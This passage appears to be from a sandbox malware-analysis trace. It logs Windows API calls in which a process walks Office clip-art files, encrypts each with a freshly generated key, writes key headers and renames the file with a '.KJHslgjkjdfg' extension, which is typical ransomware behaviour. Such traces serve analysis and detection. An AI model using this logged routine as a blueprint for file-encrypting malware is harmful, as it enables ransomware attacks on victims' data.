lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4bc, lpOverlapped=0x0) returned 1 [0194.259] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c0) returned 1 [0194.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.259] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c0, lpOverlapped=0x0) returned 1 [0194.259] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.259] SetEndOfFile (hFile=0x130) returned 1 [0194.262] GetProcessHeap () returned 0x2ef0000 [0194.262] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.262] GetProcessHeap () returned 0x2ef0000 [0194.262] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.kjhslgjkjdfg")) returned 1 [0194.263] CloseHandle (hObject=0x130) returned 1 [0194.263] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0194.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.264] GetProcessHeap () returned 0x2ef0000 [0194.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.264] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.264] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.265] GetProcessHeap () returned 0x2ef0000 [0194.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.266] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.266] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.266] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x804, lpOverlapped=0x0) returned 1 [0194.266] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810, dwBufLen=0x810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810) returned 1 [0194.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.267] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x810, lpOverlapped=0x0) returned 1 [0194.267] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.267] SetEndOfFile (hFile=0x130) returned 1 [0194.269] GetProcessHeap () returned 0x2ef0000 [0194.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.269] GetProcessHeap () returned 0x2ef0000 [0194.269] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.kjhslgjkjdfg")) returned 1 [0194.270] CloseHandle (hObject=0x130) returned 1 [0194.270] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0194.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.270] GetProcessHeap () returned 0x2ef0000 [0194.270] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.270] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.273] GetProcessHeap () returned 0x2ef0000 [0194.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.273] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.274] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15cc, lpOverlapped=0x0) returned 1 [0194.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15d0) returned 1 [0194.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.275] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15d0, lpOverlapped=0x0) returned 1 [0194.275] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.275] SetEndOfFile (hFile=0x130) returned 1 [0194.278] GetProcessHeap () returned 0x2ef0000 [0194.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.278] GetProcessHeap () returned 0x2ef0000 [0194.278] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.kjhslgjkjdfg")) returned 1 [0194.279] CloseHandle (hObject=0x130) returned 1 [0194.279] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0194.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.279] GetProcessHeap () returned 0x2ef0000 [0194.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.280] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.282] GetProcessHeap () returned 0x2ef0000 [0194.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.283] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdc4, lpOverlapped=0x0) returned 1 [0194.283] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdd0) returned 1 [0194.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.283] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdd0, lpOverlapped=0x0) returned 1 [0194.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.283] SetEndOfFile (hFile=0x130) returned 1 [0194.286] GetProcessHeap () returned 0x2ef0000 [0194.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.286] GetProcessHeap () returned 0x2ef0000 [0194.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.kjhslgjkjdfg")) returned 1 [0194.287] CloseHandle (hObject=0x130) returned 1 [0194.287] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0194.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.288] GetProcessHeap () returned 0x2ef0000 [0194.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.288] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.288] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.290] GetProcessHeap () returned 0x2ef0000 [0194.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.290] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.291] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9b8, lpOverlapped=0x0) returned 1 [0194.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0) returned 1 [0194.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.291] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c0, lpOverlapped=0x0) returned 1 [0194.292] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.292] SetFilePointerEx (in: 